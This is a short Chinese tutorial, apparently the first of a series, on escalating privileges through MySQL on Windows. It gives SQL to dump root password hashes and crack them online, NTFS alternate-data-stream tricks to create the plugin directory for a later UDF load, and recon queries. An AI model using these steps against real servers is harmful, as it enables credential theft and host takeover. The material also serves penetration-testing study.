Mysql提权(一)---提权基础知识
一、Mysql提权的必备条件
Mysql的服务没有降权,并且需要获取Mysql root账号密码
使用net user命令查看系统当前帐号,如果出现Mysql这类用户,则系统可能进行了降权
二、Mysql密码查询
1、root密码查询
# MySQL <= 5.6 版本
select user,password from mysql.user where user='root';
# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;
将hash放入md5网站破解
2、配置文件获取
三、利用ntfs特性创建文件夹
1、创建lib文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
2、创建plugin文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'
四、常用的sql基础查询命令
查看数据库路径
select @@datadir;
查看插件的路径
show variables like '%plugins%';
查看Mysql的安装路径
select @@basedir;
查看当前操作系统多少位
select @@version_compile_os;